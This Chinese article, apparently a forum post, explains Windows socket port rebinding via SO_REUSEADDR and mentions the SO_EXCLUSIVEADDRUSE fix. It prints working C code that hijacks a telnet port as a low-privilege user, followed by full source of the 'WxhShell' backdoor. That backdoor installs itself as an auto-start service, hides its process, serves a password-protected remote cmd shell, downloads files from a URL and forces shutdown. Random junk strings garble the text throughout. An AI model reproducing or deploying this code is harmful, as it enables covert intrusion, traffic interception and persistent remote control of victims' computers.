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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ym<G.3%1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G#n27y nh Bd)Qz(>rw saddr.sin_family = AF_INET; ?%B%[u ZZ?=^g saddr.sin_addr.s_addr = htonl(INADDR_ANY); e9"<.:& d-39G*;1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \jZvP`.2 ^!N _Nx/M 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z8jQaI]j tAc[r)xFw 这意味着什么?意味着可以进行如下的攻击: V$<og C$
nT&06o 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F8>Fp" c,4UnEoCR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EC&w9:R uiM*!ge 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rhwY5FD? d%5QEVV 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 rp.JYz, Gl`Yyw@84 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )O2giVq7[0 CzST~*lH 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A)s om9fg66 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pH'#v]" bU(t5
[ #include W1Ur~x` #include Kh'/Ne? #include 5;C+K~Y #include jsfyNl?6 DWORD WINAPI ClientThread(LPVOID lpParam); w/E4wp int main() J{\S+O2,* { DRj\i6-v WORD wVersionRequested; (/tbe@< DWORD ret; ~z%K9YcyU WSADATA wsaData; IWsB$T BOOL val; Cddw\|'3 SOCKADDR_IN saddr; >mi%L3Pk SOCKADDR_IN scaddr; wp$CJ09f* int err; nlw(U3@7 SOCKET s; #&5m=q$EI SOCKET sc; d,6 Z int caddsize; vw>O;u.]B HANDLE mt; 4Z1-RS DWORD tid; j+w*Absh wVersionRequested = MAKEWORD( 2, 2 ); uXNJ{]o err = WSAStartup( wVersionRequested, &wsaData ); 0;} 9XZ if ( err != 0 ) { aKkQXq* printf("error!WSAStartup failed!\n"); nW!rM($q return -1; _(TavL>l
= } 2<
w/GX. saddr.sin_family = AF_INET; T/dchWG f[!N]* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
&tkkn2t U}_l]gNn saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +#A>[,U saddr.sin_port = htons(23); j'#W)dp( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9)3ok#pQ/ { ;WO/xA-# printf("error!socket failed!\n"); Vq -!1.v3 return -1; rwv_
RN } 2.Th29] val = TRUE; tB8XnO_c //SO_REUSEADDR选项就是可以实现端口重绑定的 K q: +{' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }<9*eAn` { t8E'd:pE printf("error!setsockopt failed!\n"); 6 80i?=z return -1; `6?r.;wj } >-c ; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v|<Dc8i+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 71mdU6Kq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /}]X3ng QjVP]C}p if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YFy5>*W { S%R:GZEf_ ret=GetLastError(); xT#j-T printf("error!bind failed!\n"); %j^[%&pT return -1; @G~T&6E! } My&h{Qk listen(s,2); d_-{-@ while(1) dNB56E)5`J { JGHQ_AI caddsize = sizeof(scaddr); M#IGq //接受连接请求 #K yb9Qg sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vdjf
F&q if(sc!=INVALID_SOCKET) /g< T)$2 { JLp.bxx mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e(@ YBQ/Z if(mt==NULL) ahU\(= { !6'j
W! printf("Thread Creat Failed!\n"); OAEJ?ik break; 9e@Sx{?r } K)`,|q* \ } ;sT7c1X^! CloseHandle(mt); N^Xb_jg;J } G sm5L<rx closesocket(s); V)^nVD)e WSACleanup(); ;Bd0 =C return 0; r%}wPN(?D } #5-0R7\d7 DWORD WINAPI ClientThread(LPVOID lpParam) q%]0%S? { ,/BBG\mJ SOCKET ss = (SOCKET)lpParam; lCr SOCKET sc; ;HlVU unsigned char buf[4096]; =q.2S;? SOCKADDR_IN saddr; B-
N long num; AA:Ch? DWORD val; Z f4Xt
Yn DWORD ret; "i<i.6| //如果是隐藏端口应用的话,可以在此处加一些判断 Jk!}z+X'A //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 =P!SN]nFeP saddr.sin_family = AF_INET; XsQ?&xK=u saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QHUoAa`6v saddr.sin_port = htons(23); vZ\~+qV,A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EGf9pcUEO& { rQC{"hS1 printf("error!socket failed!\n"); f`*Ip? V- return -1; Mf^ ;('~ } LNmsv U val = 100; Nc()$Nl8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3ybEQp9 { lY
yt8H ret = GetLastError(); $cHA_$ ` return -1; 2_6x2Ia4 } Z)Nl\e& M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a.L ?J { +O`0Mc$%' ret = GetLastError(); CaX&T2( return -1; =P\H}?PF } 0%7c?3# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) dW
Y0 { 7rw}q~CE5 printf("error!socket connect failed!\n"); 7Co
}4 closesocket(sc); {aqceg closesocket(ss); 6 :K~w<mMJ return -1; 'KMyaEh.u } -)(HG)3 while(1) uli,@5%\ { |XzqP +t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 n qg=I //如果是嗅探内容的话,可以再此处进行内容分析和记录 *q{/`Z{wy //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9]r6V
num = recv(ss,buf,4096,0); ymT&[+V if(num>0) &ok2Xw send(sc,buf,num,0); LGGC=;{} else if(num==0) :PuJF`k break; tRZCOEo4 num = recv(sc,buf,4096,0); EtK,C~C}8 if(num>0) W!
v8'T send(ss,buf,num,0); H.qp~-n else if(num==0) m7Nm!Z7 break; W]{mEB } J'`,];su closesocket(ss); *D!$gfa closesocket(sc); /KFCq|;7s, return 0 ; sqFMO+ } ";AM3 LRW7_XYz (?Fz{ ========================================================== yxh8sAZ Z.Z+cFi 下边附上一个代码,,WXhSHELL R_eKKi@VH l 3bo ========================================================== BFc=GiPnQ # kl?ww U #include "stdafx.h" ~]a:9Ev* |f;u5r!^= #include <stdio.h> Xs$k6C3 #include <string.h> \2~Cn c*O #include <windows.h> P#-Ye<V~J( #include <winsock2.h> d#cw`h<c~ #include <winsvc.h> a^t#kdT #include <urlmon.h> k;/U6,LQ* @JVax -N #pragma comment (lib, "Ws2_32.lib") ZNNgi@6> #pragma comment (lib, "urlmon.lib") N
'2Nv pwU
l&hwte #define MAX_USER 100 // 最大客户端连接数 fx2r\ usX[ #define BUF_SOCK 200 // sock buffer :
&>PN,q> #define KEY_BUFF 255 // 输入 buffer zBV7b| j A
q;]al #define REBOOT 0 // 重启 ORHs1/L`j #define SHUTDOWN 1 // 关机 yPL1(i; DS0c0lsx #define DEF_PORT 5000 // 监听端口 JJ[.K*dO Hz&a~ #define REG_LEN 16 // 注册表键长度 eD5.*O #define SVC_LEN 80 // NT服务名长度 {0
d/; cl:h'aG // 从dll定义API .I_Mmaq;i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *P]FX-D3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |{]W (/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `2Rd=M]? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U<QO@5 U0G( // wxhshell配置信息 (+lwt struct WSCFG { ~fbFA?g3 int ws_port; // 监听端口 D&KRJQ/ char ws_passstr[REG_LEN]; // 口令 *f{\ze@5= int ws_autoins; // 安装标记, 1=yes 0=no 4/e|N#1`;[ char ws_regname[REG_LEN]; // 注册表键名 f-&4x_5 char ws_svcname[REG_LEN]; // 服务名 feSd% char ws_svcdisp[SVC_LEN]; // 服务显示名 KvW{M char ws_svcdesc[SVC_LEN]; // 服务描述信息 X<{kf-GP char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wxU@M1w} int ws_downexe; // 下载执行标记, 1=yes 0=no hF|N81T char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" l0N~mes char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HE#IJB6BS? 2ZW
{ }; 706-QE^ Dz4e.tvN // default Wxhshell configuration tGv5pe*r struct WSCFG wscfg={DEF_PORT, Tl>D=Vnhh "xuhuanlingzhe", 3BHPD;U 1, 0<Q['l4Ar "Wxhshell", }}L :6^ "Wxhshell", If[4]-dq "WxhShell Service", 8>Az<EF^=# "Wrsky Windows CmdShell Service", P]w5`aBM "Please Input Your Password: ", "X<vgM^: 1, 6 z(7l " http://www.wrsky.com/wxhshell.exe", Ud@D%?A7 "Wxhshell.exe" r$<-2lW }; KCEBJ{jM s?r:McF` // 消息定义模块 6Q\0v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gD`|N@W$5 char *msg_ws_prompt="\n\r? for help\n\r#>"; {}>s0B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; i [,9hp char *msg_ws_ext="\n\rExit."; } o^VEJc`O char *msg_ws_end="\n\rQuit."; KU:RS+,e; char *msg_ws_boot="\n\rReboot..."; mN+
w, char *msg_ws_poff="\n\rShutdown..."; Uj]Tdg char *msg_ws_down="\n\rSave to "; IqEE.XhaK zpi
Q ;P char *msg_ws_err="\n\rErr!"; n$]78\C char *msg_ws_ok="\n\rOK!"; 2Iv&XxSo aTXmF1_n char ExeFile[MAX_PATH]; nX
4WlH int nUser = 0; REqQJ7a/ HANDLE handles[MAX_USER]; NPc@;g]d" int OsIsNt; ePF)wl;m #yPQt! SERVICE_STATUS serviceStatus; :De@_m SERVICE_STATUS_HANDLE hServiceStatusHandle; ktE~)G !j8.JP}!) // 函数声明 j~DTvWg<Jl int Install(void); =zaf{0c int Uninstall(void); I'W`XN int DownloadFile(char *sURL, SOCKET wsh); MPa F int Boot(int flag); `p qj~s void HideProc(void); ~@Yiwp\" int GetOsVer(void); +r8:t5:/I int Wxhshell(SOCKET wsl); xLX2F void TalkWithClient(void *cs); Z9S5rPHEL int CmdShell(SOCKET sock); 'F-;uN int StartFromService(void); v/ $~ifY" int StartWxhshell(LPSTR lpCmdLine); ,_+Gb gl.uDO%. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (^),G-] VOID WINAPI NTServiceHandler( DWORD fdwControl ); S(*u_ YF)uAJ Ak // 数据结构和表定义 barY13)$U SERVICE_TABLE_ENTRY DispatchTable[] = U1oZ\Mh { )I&,kH)+ {wscfg.ws_svcname, NTServiceMain}, ,hO*W-a%1 {NULL, NULL} ;iB9\p$K) }; 4\?z^^
DT2uUf // 自我安装 7dxe03h int Install(void) ohLM9mc9 { ,#/%Fn%T char svExeFile[MAX_PATH]; ERka l7+ HKEY key; LpV2XL$p># strcpy(svExeFile,ExeFile); /J@<e{&t~ Vv|%;5( // 如果是win9x系统,修改注册表设为自启动 <I
5F@pe' if(!OsIsNt) { w;
rQ\gj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &|]GTN`E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m/E$0tf RegCloseKey(key); 9-B/n0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e^ Aw%t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FqWW[Bgd RegCloseKey(key); Jam&Rj, return 0; ^Kbq.4 } GMv.G } :ebu8H9f% } #aHJ|[[(n else { $V/Hr/0 i#pBzJ // 如果是NT以上系统,安装为系统服务 Cf~vT" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fpPB_P{Ua if (schSCManager!=0) t ZL|;K { s@$SM,tnn SC_HANDLE schService = CreateService 6x*$/1'M3; ( 4lp90sa schSCManager, ;:WM^S wscfg.ws_svcname, uge~*S wscfg.ws_svcdisp, r*F^8_YMK SERVICE_ALL_ACCESS, +sY8<y@% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z JBcz, SERVICE_AUTO_START, +<})`(8 SERVICE_ERROR_NORMAL, gl$}t H svExeFile, 9M]%h NULL, Jn\@wF9xd NULL, >?L)+*^ NULL, ~9We)FvU4 NULL, S\poa:D` NULL [Dq@(Q s' ); hJc^NU5 if (schService!=0) ;5dA { bxc!x>) CloseServiceHandle(schService); SuJa?VU1w CloseServiceHandle(schSCManager); fD* ?JzVY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qx'F9I strcat(svExeFile,wscfg.ws_svcname); #;(Q \ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F'^y?UP[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `Q1;Y RegCloseKey(key); h
7/wkv\y9 return 0; "KHe6otmi_ } I9ZJ"29 } j>I.d+ CloseServiceHandle(schSCManager); s$3WJ'yr } e~1$x`DH } j
e;^i,& =XhxD<kI return 1; S=zW
wo$ } Ly_.%f qDK\MQ! // 自我卸载 .L=C7 w1 int Uninstall(void)
=7vbcAJ\ { D,,$ HKEY key; *eEn8rAr CBu$8]9= if(!OsIsNt) { ba"_!D1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H1or,>GoO RegDeleteValue(key,wscfg.ws_regname); +ab#2~,) RegCloseKey(key); (GJX[$@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8b|m6 6#| RegDeleteValue(key,wscfg.ws_regname); s~b!3l`gu RegCloseKey(key); @|;XDO`k; return 0; yyv<MSU8 } '{F
Od_uk% } PBY;SG~ } O|e/(s?$ else { 3;er.SFu{ ,AuejMd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _h1:{hF if (schSCManager!=0) A5 <T7~U { #+SdX[N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); feA(Rj if (schService!=0) Rap =& { Y{c+/n3d if(DeleteService(schService)!=0) { mKZ^FgG CloseServiceHandle(schService); Y}hz UKJ CloseServiceHandle(schSCManager); ?y4vHr"c return 0; 'U{6LSaCb } W't.e0L<6 CloseServiceHandle(schService); z\6/?5D#v } v>'mW CloseServiceHandle(schSCManager); V?C_PMa } Jo9!:2? } nTH!_S>b(Y qp`G5bw return 1; >YP]IQ } zE_t(B(Q nk+*M9r|I // 从指定url下载文件 F/chE c
V int DownloadFile(char *sURL, SOCKET wsh) ba"a!#wA { 8+U':xR HRESULT hr; ealh>Y char seps[]= "/"; 3I.0uLjg^ char *token; d){Al(/ char *file; -Drm4sTpDb char myURL[MAX_PATH]; J"O#w BM9 char myFILE[MAX_PATH]; ^><B5A>; m8ydX6~max strcpy(myURL,sURL); h|
+( token=strtok(myURL,seps); {r?qI while(token!=NULL) 7LdNE|IP { ky5 gU[ file=token; ,wlSNb@' token=strtok(NULL,seps); BlvNBB1^ } j[o5fr)L `L<)9* GetCurrentDirectory(MAX_PATH,myFILE); -!p-nk@9| strcat(myFILE, "\\"); Q|W!m0XO strcat(myFILE, file); |;B
'C# send(wsh,myFILE,strlen(myFILE),0); *>XY' -;2e send(wsh,"...",3,0); K\GIh8L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lt&30nf= if(hr==S_OK) sP NAG
return 0; wOp# mT else 7J%v""\1! return 1; _\Cd. lC|{{?m } e[@
^UY d#eHX|+ // 系统电源模块 YMx
zj int Boot(int flag) D|D1`CIM { 5}4MXI4 HANDLE hToken; TIa`cU` TOKEN_PRIVILEGES tkp; (u
>:G6K kty,hAXe if(OsIsNt) { )>LC*_v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r4c3t,L*$I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gr;~P* tkp.PrivilegeCount = 1; {&c%VVZb:Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~;;_POm AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O:a$ U:
if(flag==REBOOT) { wzMWuA4vX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ye}y_W return 0; Vy:ER } NB&u^8b else { | We @p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'ga1SbA] return 0; IfZaK([ } Y4Z?`TL } NwG&uc+Q else { ytmlG% if(flag==REBOOT) { #1zWzt|DW if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }#
-N7=h return 0; NG_O I*|~ } ZH%[wQ~4 else { 8}Y(
@
%4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m[{*an\ return 0; 1{"fmV } 3@}HdLmN| } YS{ 2+GF:[$ return 1; 5Kv=;o=U } h3p 3~xq Ok6Y'P // win9x进程隐藏模块 &nn.h@zje void HideProc(void) IFPywL{K { (p14{ z<<` 1wqg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BJj~fNm1Zr if ( hKernel != NULL ) SsznV}{^ { +n MgQOs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <tF]>(|M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A{6ZEQAh> FreeLibrary(hKernel); LwGcy1F. } 9$DVG/ I;-{#OE, return; cR5<.$aY } &`TX4b^/! Tz*5;y%4 // 获取操作系统版本 x(b&r g.-0 int GetOsVer(void) Pm?6]] 7 { #Y18z5vo OSVERSIONINFO winfo; z|b4w7I winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &6\rKOsn GetVersionEx(&winfo); x:2[E- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iqoPD4A return 1; Nl@Hx else t'Q48QAb? return 0; _ _)Z Q } C6P6 hJm [U jbox // 客户端句柄模块 |\_O8=B% int Wxhshell(SOCKET wsl) [#Yyw8V#< { D\`$ SOCKET wsh; 7k$8i9# struct sockaddr_in client; v%FVz DWORD myID; J5o"JRJ" _&z>Id`w while(nUser<MAX_USER) Zka;}UL&Q { =;{S>P!I(t int nSize=sizeof(client); m|7g{vHVV wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q/3}8BJ if(wsh==INVALID_SOCKET) return 1; 3Q ]MT SUVr&S6Nk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bR6bS7$ if(handles[nUser]==0) ,f1wN{P closesocket(wsh); Q.|2/6hD7[ else OS9v.pz nUser++; ?eO|s5r } 1Jd: %+T WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S;c=6@" )b7mzDp( return 0; {e@1,19 } *=Fcu@ 5[R}MhLZ // 关闭 socket vLke,MKW void CloseIt(SOCKET wsh) c1<g!Q&E { ?~K2&eo closesocket(wsh); aj,ZM,Ad nUser--; Gt%kok ExitThread(0); Kaa*;T![ } @bx2= x -!FS h8q // 客户端请求句柄 ?4Lo"igAA void TalkWithClient(void *cs) L8G4K) { 9VByFQgM c5;ROnTm SOCKET wsh=(SOCKET)cs; P2p^jm
char pwd[SVC_LEN]; dF,FH- char cmd[KEY_BUFF]; la4,Z char chr[1]; uM}O8N int i,j; yU.0'r5uR F"=MU8 while (nUser < MAX_USER) { ,54<U~Lg: Wg%-m%7O if(wscfg.ws_passstr) { uS'ji
k} if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %)D7Dr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fUL"fMoU //ZeroMemory(pwd,KEY_BUFF); f3>/6C i=0; ,2`d3u^CW while(i<SVC_LEN) { -AT@M1K7% zT% kx:Fk // 设置超时 =/;_7|ssd fd_set FdRead; JdHc'WtS!| struct timeval TimeOut; ,gvX ~k FD_ZERO(&FdRead); !D3}5A1, FD_SET(wsh,&FdRead); D'h2 DP! TimeOut.tv_sec=8; 6{
Nbe= TimeOut.tv_usec=0; [1C#[Vla int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Em,!=v(* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;]Aa ;$QJnQ"R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z@ kC28 pwd =chr[0]; o
FLrSmY)E if(chr[0]==0xd || chr[0]==0xa) { Lvq]SzOw pwd=0; ej;taKzj break; LXLDu2/@ } J[H?nX9 i++; S nHAY< } m_2P{ M9#QS`G // 如果是非法用户,关闭 socket tZ^;{sM if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wIF
":' } j6vZ{Fx;w `tG_O send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <6C9R> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N o(f0g. %g&,]=W\N while(1) { j/D)UWkR RRqMwy>% ZeroMemory(cmd,KEY_BUFF); rfRo*u2" i4n
b# // 自动支持客户端 telnet标准 ]7kGHIJ| j=0; @/~k8M/ while(j<KEY_BUFF) { ^-GX&ODa if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `E=rh3 L0o cmd[j]=chr[0]; \>Rwg=Lh if(chr[0]==0xa || chr[0]==0xd) { 4AOS}@~W cmd[j]=0; C;q}3c*L break; :{:?D\%6 } t;dQ~e20 j++; R+K&<Rz } V`,[=u?c R}w wC[{ // 下载文件 -ouJf}#R if(strstr(cmd,"http://")) { @P"`=BU& send(wsh,msg_ws_down,strlen(msg_ws_down),0); ./nYXREO| if(DownloadFile(cmd,wsh)) cm@ oun send(wsh,msg_ws_err,strlen(msg_ws_err),0); *OOa)P{^D else h0GdFWN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $^=jPk]+ } '%-xe3 else { ;Nf hKu%K 7lDaok switch(cmd[0]) { )SL@>Cij uP{+?#a_-\ // 帮助 P}+|`>L case '?': { xUo)_P\_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ys[i`~$ break; |<3Q+EB^ } K;y\[2;}e, // 安装 OpbT63@L case 'i': { TXD^Do5^ if(Install()) %*5g<5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Dm`Ek3A7x else !
jX+ox send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nhP~jJn break; I"Q9W|J_& } ;/";d]j // 卸载 e,#+Xx0M case 'r': { 9SH<d)^ if(Uninstall()) Gp ^ owr send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;h-G3>Il else DtF![0w/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =o{: -EKQF break; 0(9I\j5`TT } ~e`;"n@4 // 显示 wxhshell 所在路径 {7TJgS case 'p': { >b4YbLkI# char svExeFile[MAX_PATH]; X[~f:E[1J strcpy(svExeFile,"\n\r"); @%G' U&R{ strcat(svExeFile,ExeFile); D2TXOPH send(wsh,svExeFile,strlen(svExeFile),0); SJ@8[n.x break; p~,3A:i } zfjD b // 重启 t)oES>W1 case 'b': { (ciGLfNG send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K^,&ub.L) if(Boot(REBOOT)) cu479VzPx: send(wsh,msg_ws_err,strlen(msg_ws_err),0); L^5&GcHP0 else { @}&,W
N% closesocket(wsh); uD ?I>7 ExitThread(0); p9&gEW } 3)C6OF>7
break; nz&b5Xb2 } dEQReD // 关机 'TK$ndy;7} case 'd': { KM_)7?` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); []=FZ`4 if(Boot(SHUTDOWN)) 0i`v:Lq% send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y uw
E 0 else { f#;ubfi"z closesocket(wsh); L_
Xn, ExitThread(0); $LxG>db } GFQG(7G9 break; ~51kiQW } _cxm}*}\# // 获取shell %;=IMMK case 's': { Imh2~rw; CmdShell(wsh); }"&n[/8~ closesocket(wsh); f*|8n$% ExitThread(0); ubzb break; {hvQ<7b } fz<|+(_>J // 退出 EBj,pk5M case 'x': { d739UhKC send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rSF;Lp)} CloseIt(wsh); q(ZB. break; RR~sEUCo{ } w
L/p.@ // 离开 k Z+ q case 'q': { zH=/.31Q send(wsh,msg_ws_end,strlen(msg_ws_end),0); -+
]T77r closesocket(wsh); jlRl2 #" WSACleanup(); ,yHzo exit(1); xP{HjONu break; {*M>X}voS } `eMrP` } 1BMV=_ } tf$PaA 12:h49AP // 提示信息 Y91
e1PsV if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `zElBD } Pg*?[^* } abTDa6 /`v |aI|yq) return; IL+#ynC } 4DQ07w bK_0NrXP // shell模块句柄 9D{u,Q V int CmdShell(SOCKET sock) l#2r.q^$| { #[k~RYS3 STARTUPINFO si; $I)Tk`= ZeroMemory(&si,sizeof(si)); V!pq,!C$v si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gD,YQ%aq si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oglXW8 PROCESS_INFORMATION ProcessInfo; ]/aRc=Gn char cmdline[]="cmd"; "fX_gN? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;_?zB NW return 0; x"(7t3xK } WX%h4)z* mC*W2#1pF // 自身启动模式 S F&M
(=w< int StartFromService(void) /gqqKUx { ]Wy^VcqX typedef struct [ -9)T { V9 +xL 1U# DWORD ExitStatus; =Q/w% 8G DWORD PebBaseAddress; W; 3
R; DWORD AffinityMask; 1?D8|< DWORD BasePriority; "jl1.Ah ULONG UniqueProcessId; {&\J)oZ ULONG InheritedFromUniqueProcessId; @K,2mhE~h } PROCESS_BASIC_INFORMATION; pTa'.m \b_-mnN" PROCNTQSIP NtQueryInformationProcess; im_w+h%^ ^Ei*M0fF static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~I8v5 H static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3n.+_ jQ>s th.M.jas HANDLE hProcess; >%iu!H" PROCESS_BASIC_INFORMATION pbi; %-@'CNP rtB|N- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +l2e[P+qA if(NULL == hInst ) return 0; /p"U g6rv`I$l g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4 "pS g_pGetModuleBaseName 